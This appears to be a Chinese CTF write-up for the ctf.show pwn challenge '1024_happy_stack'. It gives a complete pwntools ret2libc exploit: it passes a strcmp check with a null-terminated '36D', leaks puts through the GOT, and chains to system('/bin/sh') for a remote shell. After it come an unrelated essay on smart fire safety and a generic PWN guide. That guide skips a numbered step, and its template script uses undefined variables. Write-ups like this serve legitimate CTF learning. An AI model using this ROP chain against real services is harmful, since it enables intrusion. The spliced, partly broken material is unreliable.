ctf.show 1024杯——1024_happy_stack

1024_happy_stack  64位  开了NX  strcmp函数绕过和ret2libc
gets(s);                                                                   //溢出点
if ( (unsigned int)ctfshow(s) ) 
__int64 __fastcall ctfshow(const char *a1)             //if判断                                       
return (unsigned int)strcmp(a1, "36D");                  //比较s和36D是否相同,满足条件时,向下执行
puts(s);                                                                    //输出输入值

思路:
无 system,无 "/bin/sh",所以是64位的ret2libc和strcmp函数绕过
1.通过查看ida获取偏移量,但这里为了绕过strcmp函数,需要一个'36D\x00',所以偏移量是0x380+0x8-0x4=0x384
2.64位需要ret维持堆栈平衡,同时选用puts函数只有一个参数,所以要rdi寄存器,获取ret和rdi的地址
3.构造第一个ROP链,在接受到指定位置后发送
4.然后接收到最后得到puts真实地址
5.根据puts函数得到libc的真实地址,最后根据libc地址获取system和bin_sh地址
6.构造第二条ROP链,在接受到指定位置后发送发送进行连接

连接:
EXP:
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28250)
# io = process('/home/motaly/桌面/happy')
elf=ELF('/home/motaly/桌面/happy')
puts_got = elf.got['puts']
puts_plt = elf.symbols['puts']
main_addr = elf.symbols['main']
rdi_addr = 0x400803
ret = 0x40028a
payload = b'36D\x00'+b'a'*0x384+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil(b"qunzhu\n\n")  //这里两个换行,因为输入就是在4.I only love qunzhu这句话的下面两行
io.sendline(payload)
io.recvuntil(b"36D\n")
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success("puts_addr:"+hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
print('libc_base-->'+hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload2 = b'36D\x00'+b'a'*0x384+p64(ret)+p64(rdi_addr)+p64(bin_sh)+p64(system)
io.recvuntil(b"qunzhu\n\n")
io.sendline(payload2)
io.interactive()

智慧消防安全与应急管理是现代城市安全管理的重要组成部分,随着城市化进程的加速,传统消防安全管理面临着诸多挑战,如消防安全责任制度落实不到位、消防设施日常管理不足、消防警力不足等。这些问题不仅制约了消防安全管理水平的提升,也给城市的安全运行带来了潜在风险。然而,物联网和智慧城市技术的快速发展为解决这些问题提供了新的思路和方法。智慧消防作为物联网和智慧城市技术结合的创新产物,正在成为社会消防安全管理的新趋势。 智慧消防的核心在于通过技术创新实现消防安全管理的智能化和自动化。其主要应用包括物联网消防安全监管平台、城市消防远程监控系统、智慧消防平台等,这些系统利用先进的技术手段,如GPS、GSM、GIS等,实现了对消防设施的实时监控、智能巡检和精准定位。例如,单兵定位方案通过信标点定位和微惯导加蓝牙辅助定位技术,能够精确掌握消防人员的位置信息,从而提高救援效率和安全性。智慧消防不仅提升了消防设施的管理质量,还优化了社会消防安全管理资源的配置,降低了管理成本。此外,智慧消防的应用还弥补了传统消防安全管理中数据处理方式落后、值班制度执行不彻底等问题,赋予了建筑消防设施智能化、自动化的能力。 尽管智慧消防技术在社会消防安全管理工作中的应用已经展现出巨大的潜力和优势,但目前仍处于实践探索阶段。相关职能部门和研究企业需要加大研究开发力度,进一步完善系统的功能与实效性。智慧消防的发展既面临风险,也充满机遇。当前,社会消防安全管理工作中仍存在制度执行不彻底、消防设施日常维护不到位等问题,而智慧消防理念与技术的应用可以有效弥补这些弊端,提高消防安全管理的自动化与智能化水平。随着智慧城市理念的不断发展和实践,智慧消防将成为推动社会消防安全管理工作与城市化进程同步发展的关键力量。
### 关于CTF比赛中PWN题目的解题思路 在处理CTF比赛中的PWN题目时,理解漏洞利用的基础非常重要。对于`firmianay/CTF-All-In-One`项目中提到的内容[^1],可以发现该项目提供了丰富的资源来帮助参赛者理解和解决不同类型的挑战。 #### PWN题目概述 PWN类题目通常涉及对存在安全缺陷的服务进行攻击,这些服务可能运行着有漏洞的程序。常见的目标包括溢出漏洞、格式化字符串漏洞以及其他内存破坏型错误。通过精心构造输入数据,选手能够控制受影响进程的行为并执行任意代码。 #### 解决方案框架 针对具体案例如“单身”的PWN题目,一般遵循如下方法论: 1. **环境搭建** - 使用Docker或其他虚拟化技术创建隔离测试环境。 - 安装必要的工具链(GDB调试器、pwntools库等)以便分析二进制文件和服务行为。 2. **逆向工程与静态分析** - 利用IDA Pro或Radare2等反汇编工具查看二进制结构。 - 运行远程服务器上的易受攻击应用实例。 - 结合本地副本,在真实条件下测试假设条件下的攻击模式有效性。 4. **开发exploit脚本** - 编写Python脚本来自动化整个过程,从连接到目标直到获取shell权限。 - 考虑多种因素如ASLR(地址空间布局随机化)绕过技巧的应用。 5. **提交flag** - 成功获得shell后读取指定路径下存储的秘密标志(flag),完成任务。 ```python from pwn import * # 设置日志级别为debug方便观察细节 context.log_level = 'debug' # 建立TCP连接至远端主机 conn = remote('challenge.ctf.show', port) # 发送恶意载荷触发漏洞... payload = b'A' * offset + pack(shellcode_address, 32) conn.sendline(payload) # 接收响应消息直至结束符出现 response = conn.recvuntil(b'\n') print(response.decode()) # 清理工作 conn.close() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值